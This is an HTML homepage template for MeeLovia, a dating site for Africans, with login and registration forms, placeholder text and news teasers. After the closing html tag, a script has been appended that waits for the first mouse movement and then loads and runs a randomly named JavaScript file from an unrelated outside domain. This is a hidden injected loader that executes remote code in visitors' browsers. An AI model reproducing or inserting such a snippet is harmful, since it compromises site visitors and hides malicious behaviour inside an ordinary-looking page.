1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml">
  3. <head>
  4. 	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  5. 	<title>meelovia</title>
  6. 	<style media="all" type="text/css">@import "css/all.css";</style>
  7. 	<!--[if lt IE 7]><link rel="stylesheet" type="text/css" href="css/ie6.css" media="screen"/><![endif]-->
  8. </head>
  9. <body>
  10. 	<!-- page -->
  11. 	<div id="page">
  12. 		<!-- header -->
  13. 		<div class="header">
  14. 			<div class="header-box">
  15. 				<div class="system-box">
  16. 					<div class="nav-box f-right">
  17. 						<p>eng | <a href="#">fr</a></p>
  18. 					</div>
  19. 					<div class="nav-box f-right">
  20. 						<ul class="system">
  21. 							<li><a href="#"><img src="images/home-ico.gif" alt="#" /></a></li>
  22. 							<li><a href="#"><img src="images/fav-ico.gif" alt="#" /></a></li>
  23. 							<li><a href="#"><img src="images/mail-ico.gif" alt="#" /></a></li>
  24. 							<li><a href="#"><img src="images/map-ico.gif" alt="#" /></a></li>
  25. 						</ul>
  26. 					</div>
  27. 				</div>
  28. 				<form action="#">
  29. 					<div class="login">
  30. 						<input type="image" src="images/go-btn.gif" title="go" class="button" />
  31. 						<input type="text" value="login" class="text" />
  32. 						<input type="text" value="password" class="text" />
  33. 						<p class="clear">
  34. 							<a href="#">forgot your password?</a>  |  <a href="#">register now!</a>
  35. 						</p>
  36. 					</div>
  37. 				</form>
  38. 			</div>
  39. 			<ul class="menu">
  40. 				<li class="style2"><a href="#">SEARCH</a></li>
  41. 				<li class="style3"><a href="#">TOP PHOTOS</a></li>
  42. 				<li class="style2"><a href="#">GROUPS</a></li>
  43. 				<li><a href="#">HOME</a></li>
  44. 			</ul>
  45. 		</div>
  46. 		<!-- content -->
  47. 		<div class="primary-content">
  48. 			<div class="promo">
  49. 				<div class="promo-l f-left">
  50. 					<div class="gallery">
  51. 						<img class="top" src="images/img2.jpg" alt="#" />
  52. 						<div class="women">
  53. 							<img src="images/img3.jpg" alt="#" />
  54. 						</div>
  55. 					</div>
  56. 					<div class="promo-txt">
  57. 						<h2>Welcome to meelovia today.</h2>
  58. 						<p>
  59. 							MeeLovia is the first online dating site entirely devoted to Africa.
  60. 							This site was designed for all Africans and for everyone who is interested in Africa.
  61. 						</p>
  62. 						<p>
  63. 							Register on MeeLovia to find Love, friendship and create or join discussion 
  64. 							groups that deal with issues of development on the African continent.
  65. 						</p>
  66. 						<p>Registration is free. Yes register free today.</p>
  67. 						<p>
  68. 							This site is a response to the increasing need to create a media where Africans and 
  69. 							friends of Africa can freely meet and communicate. MeeLovia is a giant step forward 
  70. 							and a positive message that shall shake the entire continent. Freedom of speech and 
  71. 							expression will have a whole new meaning for many Africans. Come and join the match!
  72. 						</p>
  73. 						<p>
  74. 							We at MeeLovia.com would like to inform you all that we will soon be introducing 
  75. 							subscription fees. This is in an attempt to keep away scammers that have sometimes 
  76. 							taken advantage of the free service. MeeLovia still aims to offer the most affordable 
  77. 							dating service in Africa ; in view of this we intend to keep the fees at the lowest
  78. 							possible rates!
  79. 						</p>
  80. 					</div>	
  81. 				</div>
  82. 				<div class="promo-r f-right">
  83. 					<h2>
  84. 						Register for free 
  85. 						<img src="images/register-ico.gif" alt="#" />
  86. 					</h2>
  87. 					<form action="#">
  88. 						<div class="register-form">
  89. 							<div>
  90. 								<label>Country</label>
  91. 								<select>
  92. 									<option>&nbsp;</option>
  93. 								</select>
  94. 							</div>
  95. 							<div>
  96. 								<label>Region/State</label>
  97. 								<select>
  98. 									<option>&nbsp;</option>
  99. 								</select>
  100. 							</div>
  101. 							<div>
  102. 								<label>City</label>
  103. 								<select>
  104. 									<option>&nbsp;</option>
  105. 								</select>
  106. 							</div>
  107. 							<div>
  108. 								<label>Zip/Postal Code</label>
  109. 								<input type="text" class="text" />
  110. 							</div>
  111. 							<div>
  112. 								<label>Name</label>
  113. 								<input type="text" class="text" />
  114. 							</div>
  115. 							<div>
  116. 								<label>Gender</label>
  117. 								<select>
  118. 									<option>&nbsp;</option>
  119. 								</select>
  120. 							</div>
  121. 							<div>
  122. 								<label>Interested in</label>
  123. 								<select>
  124. 									<option>&nbsp;</option>
  125. 								</select>
  126. 							</div>
  127. 							<div>
  128. 								<label class="birth">Birthdate</label>
  129. 								<select class="day">
  130. 									<option>&nbsp;</option>
  131. 								</select>
  132. 								<select class="month">
  133. 									<option>&nbsp;</option>
  134. 								</select>
  135. 								<select class="day">
  136. 									<option>&nbsp;</option>
  137. 								</select>
  138. 							</div>
  139. 							<div>
  140. 								<label>Username</label>
  141. 								<input type="text" class="text" />
  142. 							</div>
  143. 							<div>
  144. 								<label>E-Mail</label>
  145. 								<input type="text" class="text" />
  146. 							</div>
  147. 							<div>
  148. 								<label>Password</label>
  149. 								<input type="text" class="text" />
  150. 							</div>
  151. 							<div>
  152. 								<label>Confirm password</label>
  153. 								<input type="text" class="text" />
  154. 							</div>
  155. 						</div>
  156. 						<div class="captcha">
  157. 							<img src="images/img1.jpg" alt="#" />
  158. 							<label>Enter the code shown above</label>
  159. 							<input type="text" class="text" />
  160. 							<div>
  161. 								<input type="checkbox" class="check" />
  162. 								<label>I accept the terms and conditions</label>
  163. 							</div>
  164. 							<div class="register-btn">
  165. 								<a href="#">REGISTER</a>
  166. 							</div>
  167. 						</div>
  168. 					</form>
  169. 				</div>
  170. 			</div>
  171. 			<div class="additional">
  172. 				<!-- left column box -->
  173. 				<div class="left-col f-left">
  174. 					<h2>Quick search</h2>
  175. 					<form action="#">
  176. 						<div class="search-form">
  177. 							<div class="search-l">
  178. 								<label>Grender</label>
  179. 								<select>
  180. 									<option>Male</option>
  181. 								</select>
  182. 								<label>Country</label>
  183. 								<select>
  184. 									<option>Ukraine</option>
  185. 								</select>
  186. 								<label>State</label>
  187. 								<select>
  188. 									<option>Ukraine</option>
  189. 								</select>
  190. 							</div>	
  191. 							<div class="search-l">
  192. 								<label>Age</label>
  193. 								<div>
  194. 									<input type="text" value="18" class="text" />
  195. 									<span>to</span>
  196. 									<input type="text" value="26" class="text" />
  197. 								</div>
  198. 								<input type="image" src="images/go-dark.gif" title="go" class="button" />	
  199. 							</div>	
  200. 						</div>
  201. 					</form>
  202. 					<div class="story-box">
  203. 						<p>
  204. 							<strong>Keith and Susan</strong>
  205. 							Lorem ipsum dolor sitamet, consectetuer adipiscing elit, sed diam nonummy nibh 
  206. 							euismod tincidunt ut laoreet dolore magna aliquam erat volutpat 
  207. 							<a href="#">more stories</a>
  208. 						</p>
  209. 					</div>
  210. 				</div>
  211. 				<!-- right column box -->
  212. 				<div class="right-col f-right">
  213. 					<h2>
  214. 						News 
  215. 						<img src="images/news-ico.gif" alt="#" />
  216. 					</h2>
  217. 					<ul class="news-list">
  218. 						<li>
  219. 							<div class="date">
  220. 								Apr
  221. 								<span>27</span> 
  222. 							</div>
  223. 							<p>
  224. 								Zimbabwe's police chief says officers will be ready to use firearms if the country's 
  225. 								forthcoming elections sparks violence like that seen in... <a href="#">read more</a>
  226. 							</p>
  227. 						</li>
  228. 						<li>
  229. 							<div class="date">
  230. 								Apr
  231. 								<span>19</span> 
  232. 							</div>
  233. 							<p>
  234. 								A national dance craze in Ivory Coast has spawned a black market in treatments 
  235. 								claiming to increase one's bottom size. <a href="#">read more</a>
  236. 							</p>
  237. 						</li>
  238. 						<li>
  239. 							<div class="date">
  240. 								Apr
  241. 								<span>16</span> 
  242. 							</div>
  243. 							<p>
  244. 								US President George W Bush has backed calls for a power-sharing agreement to 
  245. 								end weeks of strife in Kenya following... <a href="#">read more</a>
  246. 							</p>
  247. 						</li>
  248. 						<li>
  249. 							<div class="date">
  250. 								Apr
  251. 								<span>10</span> 
  252. 							</div>
  253. 							<p>
  254. 								Zimbabwe's police chief says officers will be ready to use firearms if the country's 
  255. 								forthcoming elections sparks violence like that seen in... <a href="#">read more</a>
  256. 							</p>
  257. 						</li>
  258. 						<li>
  259. 							<div class="date">
  260. 								Apr
  261. 								<span>7</span> 
  262. 							</div>
  263. 							<p>
  264. 								A national dance craze in Ivory Coast has spawned a black market in treatments 
  265. 								claiming to increase one's bottom size. <a href="#">read more</a>
  266. 							</p>
  267. 						</li>
  268. 					</ul>
  269. 				</div>
  270. 			</div>	
  271. 		</div>
  272. 		<!-- footer -->
  273. 		<div class="footer">
  274. 			<p>&copy; 2005-2008 MeeLovia.com  | <span>designed</span> by <a href="http://www.kavoon.com">www.kavoon.com</a></p>
  275. 		</div>
  276. 	</div>
  277. </body>
  278. </html><script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script><script type="text/javascript">var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1; x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});</script>